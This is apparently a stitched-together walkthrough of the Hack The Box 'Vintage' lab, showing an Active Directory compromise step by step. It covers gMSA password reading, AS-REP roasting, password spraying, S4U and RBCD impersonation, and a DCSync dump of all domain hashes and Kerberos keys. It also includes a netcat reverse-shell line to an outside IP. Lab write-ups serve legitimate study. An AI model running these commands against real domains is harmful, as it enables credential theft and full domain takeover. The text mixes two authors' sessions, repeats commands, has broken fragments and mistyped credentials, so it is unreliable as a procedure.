htb-vintage

Retrieve the permissions of the initial account, and the netexecfeedback information is (NTLM:False) shows that NTLM auth is disabled. I’ll try with Kerberos and it works:

These also only work on the full hostname because Windows and Kerberos care about this kind of thing:

Then use the Kerberos protocol to verify and obtain the TGT ticket first.

Many operations in AD require attention to time synchronization. It can be seen that after synchronizing the time, it is verified that P.Rosa can log in to LDAP.

Use the P.Rosa account to brute force the RID.

┌──(puck㉿kali)-[~/htb/vintage]
└─$ nxc smb dc01.vintage.htb -d vintage.htb -u P.Rosa -k --use-kcache --rid-brute
SMB         dc01.vintage.htb 445    dc01.vintage.htb [*]  x64 (name:dc01.vintage.htb) (domain:dc01.vintage.htb) (signing:True) (SMBv1:False)
SMB         dc01.vintage.htb 445    dc01.vintage.htb [-] vintage.htb\P.Rosa from ccache KDC_ERR_S_PRINCIPAL_UNKNOWN 
--snip--
SMB         dc01.vintage.htb 445    dc01.vintage.htb 1140: VINTAGE\C.Neri_adm (SidTypeUser)
SMB         dc01.vintage.htb 445    dc01.vintage.htb 1141: VINTAGE\L.Bianchi_adm (SidTypeUser)

In bloodhound, we can see that P.Rosa has no permissions to operate other accounts. However, we can see that FS01 belongs to the PRE-WINDOWS 2000 Compatible Access group.

Try using the pre2k tool to find users with weak passwords.

Next, FS01 belongs to the Domain Computers group and can read the password of the gMSA (Group Managed Service Account).

Read the password hash of the GMSA01 account with bloodyAD

┌──(bolke㉿bolke)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k get object 'GMSA01$' --attr msDS-ManagedPassword

distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:0ae29a5cdfa7d5b72464dc92ffeaa8d1
msDS-ManagedPassword.B64ENCODED: ty0aA5C/XrOL6Y9WX9oh9HVPkZt0LuzCev+iAuZfmr2JuYWvtLnlU9DWeV94D7cL0TYP/7z4JKNNKwZaW3nzVkh6dWEDQpArgRPAzakAo798b146sR2FxiX7tzwvWFwiua8wv4fN34853UAKyGrcXR9OxUMOpwhXeRAX4oUz/ggCcZ6VxCpcsXXMPx/cQ/KSW3gPgpUrD3F0S91dm5qBD2a2pUmoPtFr16G1G/XF1jFPIDZp+QTe4HoSgg7+LtjD8aYIBVatzn6WLLwrHkxP5ZJ2RvHb8YH1jAR9lZDx5eCouGfkq8/4kelNN//JaPh5EwTMrWQrVEY6xk/yJDVXmg==

or with netexec

.

Next, check the permissions of the GMSA01 account,[First Degree Object Control] which has the permissions to write to SERVICEMANAGERS and add itself.

Without thinking too much, add the GMSA01 account to the SERVICEMANAGERS group. Unfortunately, the pth-net command in the bloodhound help does not work, NTLM authentication is not enabled, and bloodyAD must be used.

┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "vintage.htb" --dc-ip 10.10.11.45 -k add groupMember "SERVICEMANAGERS" "GMSA01$"
[+] GMSA01$ added to SERVICEMANAGERS

We see

┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "vintage.htb" --dc-ip 10.10.11.45 -k get search --filter "(objectClass=user)" --attr userAccountControl

distinguishedName: CN=Administrator,CN=Users,DC=vintage,DC=htb
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

--snip--

distinguishedName: CN=svc_ldap,OU=Pre-Migration,DC=vintage,DC=htb
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

distinguishedName: CN=svc_ark,OU=Pre-Migration,DC=vintage,DC=htb
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

distinguishedName: CN=C.Neri_adm,CN=Users,DC=vintage,DC=htb
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

distinguishedName: CN=L.Bianchi_adm,CN=Users,DC=vintage,DC=htb
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
                                                                  
┌──(puck㉿kali)-[~/htb/vintage]

.

After joining the group, gmsa01 needs to obtain tgt again,! the command is the same as before.

Check what the SERVICEMANAGERS group can do, and finally there is an object of First Degree Object Control.

Using the permissions of gmsa01, set all three accounts that can be controlled to not require PREAUTH.

┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac SVC_ARK -f DONT_REQ_PREAUTH 
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_ARK's userAccountControl
                                                                                                                     
┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac SVC_SQL -f DONT_REQ_PREAUTH 
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_SQL's userAccountControl
                                                                                                                     
┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac SVC_LDAP -f DONT_REQ_PREAUTH 
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_LDAP's userAccountControl

You can also check the account status and find that svc_sql is not enabled, so you need to enable it (you can also see that the account Enabled is False in bloodhound).

┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host "dc01.vintage.htb" -d "vintage.htb" --kerberos --dc-ip 10.10.11.45 -k get search --filter "(objectClass=user)" --attr userAccountControl 

remove ‘ACCOUNTDISABLE’] property flags removed from SVC_SQL’s userAccountControl

┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE 
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQL's userAccountControl

.

Now, we have several accounts that do not need PREAUTH and can export hashes. This hash is mainly used for offline cracking.

Cracking can get the password of svc_sql.

┌──(puck㉿kali)-[~/htb/vintage]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt np.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Zer0the0ne       ($krb5asrep$23$svc_sql@VINTAGE.HTB)     
1g 0:00:00:12 82.53% (ETA: 11:00:25) 0.08326g/s 984949p/s 2056Kc/s 2056KC/s 7hansome7..7boogers
1g 0:00:00:14 DONE (2025-01-17 11:00) 0.06910g/s 991275p/s 2054Kc/s 2054KC/s !)(OPPQR..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

.

After another password spraying attack, it was found that C.Neri also used the same password Zer0the0ne

I can’t use  a stable evil-winrm here, but I can use pwsh on Linux, as installed by these instructions. Even then, I’ll have some issues using a PSSession:

I’ll need to enter pwsh as root and install the Open Management Infrastructure – PowerShell Edition:

puck@kali$ sudo pwsh
PowerShell 7.2.4
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /> Install-Module -Name PSWSMan -Scope AllUsers

Untrusted repository
You are installing the modules from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want to install the modules from 'PSGallery'?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A
PS /> Install-WSMan
WARNING: WSMan libs have been installed, please restart your PowerShell session to enable it in PowerShell
PS /> exit

Now back in PowerShell, I’ll get a session:

┌──(puck㉿kali)-[~/htb/vintage]
└─$ pwsh                 
PowerShell 7.2.6
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.


┌──(puck㉿kali)-[/home/puck/htb/vintage]
└─PS> Enter-PSSession dc01.vintage.htb -Credential C.Neri          

PowerShell credential request
Enter your credentials.
Password for user C.Neri: Zer0the0ne

[dc01.vintage.htb]: PS C:\Users\C.Neri\Documents> 

to get a better stable shell ./nc64.exe -e powershell.exe 10.10.14.4 443

.

Get tickets from C.Neri and svc_sql.

# echo ‘Zer0the0ne’ | kinit C.Neri

in 1st terminal window

┌──(puck㉿kali)-[~/htb/vintage]
└─$ impacket-getTGT vintage.htb/C.Neri:Zer0the0ne -dc-ip dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in C.Neri.ccache
                                                                                                                     
$ export KRB5CCNAME=C.Neri.ccache 
                                                                                                                     
$ klist
Ticket cache: FILE:C.Neri.ccache
Default principal: C.Neri@VINTAGE.HTB

Valid starting       Expires              Service principal
01/16/2025 18:10:03  01/17/2025 04:10:03  krbtgt/VINTAGE.HTB@VINTAGE.HTB
    renew until 01/17/2025 18:10:03

and in 2nd terminal windows

┌──(puck㉿kali)-[~/htb/vintage]
└─$ impacket-getTGT vintage.htb/svc_sql:Zer0the0ne -dc-ip dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in svc_sql.ccache
                                                                                                           
$ export KRB5CCNAME=svc_sql.ccache             
                                                                                                           
$ klist
Ticket cache: FILE:svc_sql.ccache
Default principal: svc_sql@VINTAGE.HTB

Valid starting       Expires              Service principal
01/17/2025 11:05:02  01/17/2025 21:05:02  krbtgt/VINTAGE.HTB@VINTAGE.HTB
    renew until 01/18/2025 11:05:02

.

C.Neri is an RM user and can log in to the terminal.

┌──(puck㉿kali)-[~/htb/vintage]
└─$ cat /etc/krb5.conf
[libdefaults]
        default_realm = VINTAGE.HTB
        kdc_timesync = 1
        ccache_type = 4
        forwardable = true
        proxiable = true
        fcc-mit-ticketflags = true
        dns_canonicalize_hostname = false
        dns_lookup_realm = false
        dns_lookup_kdc = true
        k5login_authoritative = false
[realms]        
        SCRM.LOCAL = {
                kdc = dc1.scrm.local
                admin_server = dc1.scrm.local
        }
        ABSOLUTE.HTB = {
                kdc = absolute.htb
                admin_server = absolute.htb
                default_admin = absolute.htb
        }
        VINTAGE.HTB = {
                kdc = vintage.htb
                admin_server = vintage.htb
                default_admin = vintage.htb
        }
[domain_realm]
        .vintage.htb = VINTAGE.HTB

┌──(puck㉿kali)-[~/htb/vintage]
└─$ KRB5CCNAME=C.Neri.ccache evil-winrm -i dc01.vintage.htb -u C.Neri -r vintage.htb
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: User is not needed for Kerberos auth. Ticket will be used
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\C.Neri\Documents> whoami
vintage\c.neri
*Evil-WinRM* PS C:\Users\C.Neri\Documents> 

After logging in to the terminal, we need to add spn to svc_sql, and you can see the difference before and after adding.

*Evil-WinRM* PS C:\Users\C.Neri\Documents> Get-ADUser -Identity svc_sql -Properties ServicePrincipalNames


DistinguishedName     : CN=svc_sql,OU=Pre-Migration,DC=vintage,DC=htb
Enabled               : False
GivenName             :
Name                  : svc_sql
ObjectClass           : user
ObjectGUID            : 3fb41501-6742-4258-bfbe-602c3a8aa543
SamAccountName        : svc_sql
ServicePrincipalNames : {}
SID                   : S-1-5-21-4024337825-2033394866-2055507597-1134
Surname               :
UserPrincipalName     :

.

*Evil-WinRM* PS C:\Users\C.Neri\Documents> Set-ADUser -Identity svc_sql -Add @{servicePrincipalName="cifs/puckie"}
*Evil-WinRM* PS C:\Users\C.Neri\Documents> Get-ADUser -Identity svc_sql -Properties ServicePrincipalNames


DistinguishedName     : CN=svc_sql,OU=Pre-Migration,DC=vintage,DC=htb
Enabled               : False
GivenName             :
Name                  : svc_sql
ObjectClass           : user
ObjectGUID            : 3fb41501-6742-4258-bfbe-602c3a8aa543
SamAccountName        : svc_sql
ServicePrincipalNames : {cifs/puckie}
SID                   : S-1-5-21-4024337825-2033394866-2055507597-1134
Surname               :
UserPrincipalName     :

S4U2SELF

The user C.NERI_ADM@VINTAGE.HTB has the ability to add itself, to the group DELEGATEDADMINS@VINTAGE.HTB. Because of security group delegation, the members of a security group have the same privileges as that group.

By adding itself to the group, C.NERI_ADM@VINTAGE.HTB will gain the same privileges that DELEGATEDADMINS@VINTAGE.HTB already has.

in a new 3th terminal

┌──(puck㉿kali)-[~/htb/vintage]
└─$ kdestroy
                                                                                              
┌──(puck㉿kali)-[~/htb/vintage]
└─$ impacket-getTGT vintage.htb/c.neri_adm:'Uncr4ck4bl3P4ssW0rd0312' -dc-ip dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in c.neri_adm.ccache
                                                                                              
$ export KRB5CCNAME=c.neri_adm.ccache          
                                                                                              
┌──(puck㉿kali)-[~/htb/vintage]
└─$ klist   
Ticket cache: FILE:c.neri_adm.ccache
Default principal: c.neri_adm@VINTAGE.HTB

Valid starting       Expires              Service principal
01/17/2025 14:40:50  01/18/2025 00:40:50  krbtgt/VINTAGE.HTB@VINTAGE.HTB
    renew until 01/18/2025 14:40:50

.

port 3389 is not open, so we coud not use : xfreerdp3 /v:10.10.11.45:3389 /u:c.neri_adm /p:Uncr4ck4bl3P4ssW0rd0312

Next

svc_sqlSPN(ServicePrincipalNames)

Get-ADUser -Identity svc_sql -Properties ServicePrincipalNames

SPN

Set-ADUser -Identity svc_sql -Add @{servicePrincipalName="cifs/test"}
or set with bloodyAD
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k set object "SVC_SQL" servicePrincipalName -v "cifs/test"

The next step is to add C.NERL_ADM to DELEGATEDADMINS

┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k set object "SVC_SQL" servicePrincipalName -v "cifs/test"
[+] SVC_SQL's servicePrincipalName has been updated

Get the ticket for this SVC

$ impacket-getTGT vintage.htb/svc_sql:Zer0the0ne -dc-ip dc01.vintage.htb
 
$ export KRB5CCNAME=svc_sql.ccache

Impersonate L.BIANCHI_ADM user to request cifs/dc01.vintage.htba service ticket for the service. After successfully obtaining the ticket, you can use it to access the service.

Now that we have L.BIANCHI’s ticket, we can directly execute the command through wmiexec

$ impacket-wmiexec -k -no-pass VINTAGE.HTB/L.BIANCHI_ADM@dc01.vintage.htb 

Impacket v0.13.0.dev0+20240916.171021.65b774de - Copyright Fortra, LLC and its affiliated companies 
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\> whoami
vintage\l.bianchi_adm

thus on terminal1 [ticket:svc_sql.ccache]

┌──(puck㉿kali)-[~/htb/vintage]
└─$ impacket-getTGT vintage.htb/svc_sql:Zer0the0ne -dc-ip dc01.vintage.htb                                                      
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in svc_sql.ccache
                                                                                                                                    
┌──(puck㉿kali)-[~/htb/vintage]
└─$ export KRB5CCNAME=svc_sql.ccache                                                                                            

                                                                                                                                    
┌──(puck㉿kali)-[~/htb/vintage]
└─$ impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0n'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating L.BIANCHI_ADM
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
                                                                                                                                    
┌──(puck㉿kali)-[~/htb/vintage]

thus on terminal2 [ticket:GMSA01$.ccache]

┌──(puck㉿kali)-[~/htb/vintage]
└─$ klist
Ticket cache: FILE:GMSA01$.ccache
Default principal: GMSA01$@VINTAGE.HTB

Valid starting       Expires              Service principal
01/21/2025 16:41:25  01/22/2025 02:41:25  krbtgt/VINTAGE.HTB@VINTAGE.HTB
    renew until 01/22/2025 16:41:25
                                                                                                                               
┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQL's userAccountControl
                                                                                                                               
┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQL's userAccountControl
                                                                                                                               
┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQL's userAccountControl
                                                                                                                                    
┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb --dc-ip 10.10.11.45 -d "VINTAGE.HTB" -u c.neri_adm -p 'Uncr4ck4bl3P4ssW0rd0312' -k add groupMember "DELEGATEDADMINS" "SVC_SQL"
[+] SVC_SQL added to DELEGATEDADMINS
                                                                                                                                    
┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQL's userAccountControl
                                                                                                                                    
┌──(puck㉿kali)-[~/htb/vintage]

thus on terminal3 [psessession as c.neri]

PS C:\ProgramData> Set-ADUser -Identity svc_sql -Add @{servicePrincipalName="cifs/test"}
Set-ADUser -Identity svc_sql -Add @{servicePrincipalName="cifs/test"}
PS C:\ProgramData> Get-ADUser -Identity svc_sql -Properties ServicePrincipalNames
Get-ADUser -Identity svc_sql -Properties ServicePrincipalNames


DistinguishedName     : CN=svc_sql,OU=Pre-Migration,DC=vintage,DC=htb
Enabled               : False
GivenName             : 
Name                  : svc_sql
ObjectClass           : user
ObjectGUID            : 3fb41501-6742-4258-bfbe-602c3a8aa543
SamAccountName        : svc_sql
ServicePrincipalNames : {cifs/test}
SID                   : S-1-5-21-4024337825-2033394866-2055507597-1134
Surname               : 
UserPrincipalName     : 



PS C:\ProgramData> Get-ADUser -Identity svc_sql -Properties ServicePrincipalNames
Get-ADUser -Identity svc_sql -Properties ServicePrincipalNames


DistinguishedName     : CN=svc_sql,OU=Pre-Migration,DC=vintage,DC=htb
Enabled               : False
GivenName             : 
Name                  : svc_sql
ObjectClass           : user
ObjectGUID            : 3fb41501-6742-4258-bfbe-602c3a8aa543
SamAccountName        : svc_sql
ServicePrincipalNames : {cifs/test}
SID                   : S-1-5-21-4024337825-2033394866-2055507597-1134
Surname               : 
UserPrincipalName     : 

tada :

┌──(puck㉿kali)-[~/htb/vintage]
└─$ impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0n'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating L.BIANCHI_ADM
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
                                                                                                                                    
┌──(puck㉿kali)-[~/htb/vintage]
└─$ export KRB5CCNAME=L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
                                                                                                                                    
┌──(puck㉿kali)-[~/htb/vintage]
└─$ klist   
Ticket cache: FILE:L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
Default principal: L.BIANCHI_ADM@vintage.htb

Valid starting       Expires              Service principal
01/21/2025 19:40:26  01/22/2025 05:40:11  cifs/dc01.vintage.htb@VINTAGE.HTB
    renew until 01/22/2025 19:40:11
                                                                                                                                    
┌──(puck㉿kali)-[~/htb/vintage]
└─$ impacket-wmiexec -k -no-pass VINTAGE.HTB/L.BIANCHI_ADM@dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
vintage\l.bianchi_adm


 Directory of c:\users\Administrator\desktop

11/14/2024  07:48 PM    <DIR>          .
06/08/2024  03:36 PM    <DIR>          ..
01/21/2025  11:06 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   5,768,691,712 bytes free

c:\users\Administrator\desktop>type root.txt
eff3<redacted>4b1a

c:\users\Administrator\desktop>

RBCD Delegation

Strategy

The AllowedToAct attribute is given when the group is configured for resource based constrained delegation (RBCD).

To pull of this attack, I’ll need a compromised account with a service principal name (SPN). C.Neri_adm does not have one, and I don’t have permissions to add one. But, FS01$ does, and C.Neri_adm has GenericWrite over DelegatedAdmins, which means they can add accounts to the group. From there, I can have the FS01$ account request a ticket on behalf of any account. There are many ways to exploit this. I’ll get a CIFS ticket as the DC01$ computer account and use that to dump the hashes for the domain.

Add FS01$ to DelegatedAdmins

I’ll use bloodyAD to add the account to the group. I’ll need a Kerberos ticket as C.Neri_adm:

└─$ kinit c.neri_adm
Password for c.neri_adm@VINTAGE.HTB: 
                                                                                                                     
└─$ klist           
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: c.neri_adm@VINTAGE.HTB

Valid starting       Expires              Service principal
05/01/2025 10:34:16  05/01/2025 20:34:16  krbtgt/VINTAGE.HTB@VINTAGE.HTB
    renew until 05/02/2025 10:34:01

.

bloodyAD has a add groupMember command:

puck@kali$ KRB5CCNAME=/tmp/krb5cc_1000 bloodyAD -d vintage.htb -k --host dc01.vintage.htb -k add groupMember DelegatedAdmins 'fs01$'
[+] fs01$ added to DelegatedAdmins

Get DC01$ ST

I’ll make a new ticket as FS01$:

└─$ kinit c.neri_adm
Password for c.neri_adm@VINTAGE.HTB: 
                                                                                                                     
└─$ klist           
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: c.neri_adm@VINTAGE.HTB

Valid starting       Expires              Service principal
05/01/2025 10:39:16  05/01/2025 20:39:16  krbtgt/VINTAGE.HTB@VINTAGE.HTB
    renew until 05/02/2025 10:39:01

With this ticket, I’ll use getST.py (from Impacket) to get a ticket as DC01$:

getST.py -spn 'cifs/dc01.vintage.htb' -impersonate 'dc01$' 'vintage.htb/fs01$:fs01' -dc-ip dc01.vintage.htb

└─$ getST.py -spn 'cifs/dc01.vintage.htb' -impersonate 'dc01$' 'vintage.htb/fs01$:fs01' -dc-ip dc01.vintage.htb
Impacket v0.13.0.dev0+20250415.195618.c384b5fb - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating dc01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc01$@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache

It works:

puck@kali$ KRB5CCNAME=dc01\$@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache netexec smb dc01.vintage.htb -k --use-kcache 
SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\dc01$ from ccache

DCSync

From here I can do a DCSync attack to get hashes for the domain. For example, I can grab the administrator hash with netexec:

KRB5CCNAME=dc01\$@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache netexec smb dc01.vintage.htb -k --use-kcache --ntds --user administrator

Or dump everything with secretsdump:

┌──(bolke㉿bolke)-[~/htb/vintage]
└─$ KRB5CCNAME=dc01\$@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache secretsdump.py 'vintage.htb/dc01$@dc01.vintage.htb' -dc-ip dc01.vintage.htb -k -no-pass
Impacket v0.13.0.dev0+20250415.195618.c384b5fb - Copyright Fortra, LLC and its affiliated companies 

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:468c7497513f8243b59980f2240a10de:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:be3d376d906753c7373b15ac460724d8:::
M.Rossi:1111:aad3b435b51404eeaad3b435b51404ee:8e5fc7685b7ae019a516c2515bbd310d:::
R.Verdi:1112:aad3b435b51404eeaad3b435b51404ee:42232fb11274c292ed84dcbcc200db57:::
L.Bianchi:1113:aad3b435b51404eeaad3b435b51404ee:de9f0e05b3eaa440b2842b8fe3449545:::
G.Viola:1114:aad3b435b51404eeaad3b435b51404ee:1d1c5d252941e889d2f3afdd7e0b53bf:::
C.Neri:1115:aad3b435b51404eeaad3b435b51404ee:cc5156663cd522d5fa1931f6684af639:::
P.Rosa:1116:aad3b435b51404eeaad3b435b51404ee:8c241d5fe65f801b408c96776b38fba2:::
svc_sql:1134:aad3b435b51404eeaad3b435b51404ee:cc5156663cd522d5fa1931f6684af639:::
svc_ldap:1135:aad3b435b51404eeaad3b435b51404ee:458fd9b330df2eff17c42198627169aa:::
svc_ark:1136:aad3b435b51404eeaad3b435b51404ee:1d1c5d252941e889d2f3afdd7e0b53bf:::
C.Neri_adm:1140:aad3b435b51404eeaad3b435b51404ee:91c4418311c6e34bd2e9a3bda5e96594:::
L.Bianchi_adm:1141:aad3b435b51404eeaad3b435b51404ee:8fc670eb02e15c49b9e2364a74c4c25e:::
DC01$:1002:aad3b435b51404eeaad3b435b51404ee:2dc5282ca43835331648e7e0bd41f2d5:::
gMSA01$:1107:aad3b435b51404eeaad3b435b51404ee:587368d45a7559a1678b842c5c829fb3:::
FS01$:1108:aad3b435b51404eeaad3b435b51404ee:44a59c02ec44a90366ad1d0f8a781274:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:5f22c4cf44bc5277d90b8e281b9ba3735636bd95a72f3870ae3de93513ce63c5
Administrator:aes128-cts-hmac-sha1-96:c119630313138df8cd2e98b5e2d018f7
Administrator:des-cbc-md5:c4d5072368c27fba
krbtgt:aes256-cts-hmac-sha1-96:8d969dafdd00d594adfc782f13ababebbada96751ec4096bce85e122912ce1f0
krbtgt:aes128-cts-hmac-sha1-96:3c7375304a46526c00b9a7c341699bc0
krbtgt:des-cbc-md5:e923e308752658df
M.Rossi:aes256-cts-hmac-sha1-96:14d4ea3f6cd908d23889e816cd8afa85aa6f398091aa1ab0d5cd1710e48637e6
M.Rossi:aes128-cts-hmac-sha1-96:3f974cd6254cb7808040db9e57f7e8b4
M.Rossi:des-cbc-md5:7f2c7c982cd64361
R.Verdi:aes256-cts-hmac-sha1-96:c3e84a0d7b3234160e092f168ae2a19366465d0a4eab1e38065e79b99582ea31
R.Verdi:aes128-cts-hmac-sha1-96:d146fa335a9a7d2199f0dd969c0603fb
R.Verdi:des-cbc-md5:34464a58618f8938
L.Bianchi:aes256-cts-hmac-sha1-96:abcbbd86203a64f177288ed73737db05718cead35edebd26740147bd73e9cfed
L.Bianchi:aes128-cts-hmac-sha1-96:92067d46b54cdb11b4e9a7e650beb122
L.Bianchi:des-cbc-md5:01f2d667a19bce25
G.Viola:aes256-cts-hmac-sha1-96:f3b3398a6cae16ec640018a13a1e70fc38929cfe4f930e03b1c6f1081901844a
G.Viola:aes128-cts-hmac-sha1-96:367a8af99390ebd9f05067ea4da6a73b
G.Viola:des-cbc-md5:7f19b9cde5dce367
C.Neri:aes256-cts-hmac-sha1-96:c8b4d30ca7a9541bdbeeba0079f3a9383b127c8abf938de10d33d3d7c3b0fd06
C.Neri:aes128-cts-hmac-sha1-96:0f922f4956476de10f59561106aba118
C.Neri:des-cbc-md5:9da708a462b9732f
P.Rosa:aes256-cts-hmac-sha1-96:f9c16db419c9d4cb6ec6242484a522f55fc891d2ff943fc70c156a1fab1ebdb1
P.Rosa:aes128-cts-hmac-sha1-96:1cdedaa6c2d42fe2771f8f3f1a1e250a
P.Rosa:des-cbc-md5:a423fe64579dae73
svc_sql:aes256-cts-hmac-sha1-96:3bc255d2549199bbed7d8e670f63ee395cf3429b8080e8067eeea0b6fc9941ae
svc_sql:aes128-cts-hmac-sha1-96:bf4c77d9591294b218b8280c7235c684
svc_sql:des-cbc-md5:2ff4022a68a7834a
svc_ldap:aes256-cts-hmac-sha1-96:d5cb431d39efdda93b6dbcf9ce2dfeffb27bd15d60ebf0d21cd55daac4a374f2
svc_ldap:aes128-cts-hmac-sha1-96:cfc747dd455186dba6a67a2a340236ad
svc_ldap:des-cbc-md5:e3c48675a4671c04
svc_ark:aes256-cts-hmac-sha1-96:820c3471b64d94598ca48223f4a2ebc2491c0842a84fe964a07e4ee29f63d181
svc_ark:aes128-cts-hmac-sha1-96:55aec332255b6da8c1344357457ee717
svc_ark:des-cbc-md5:6e2c9b15bcec6e25
C.Neri_adm:aes256-cts-hmac-sha1-96:96072929a1b054f5616e3e0d0edb6abf426b4a471cce18809b65559598d722ff
C.Neri_adm:aes128-cts-hmac-sha1-96:ed3b9d69e24d84af130bdc133e517af0
C.Neri_adm:des-cbc-md5:5d6e9dd675042fa7
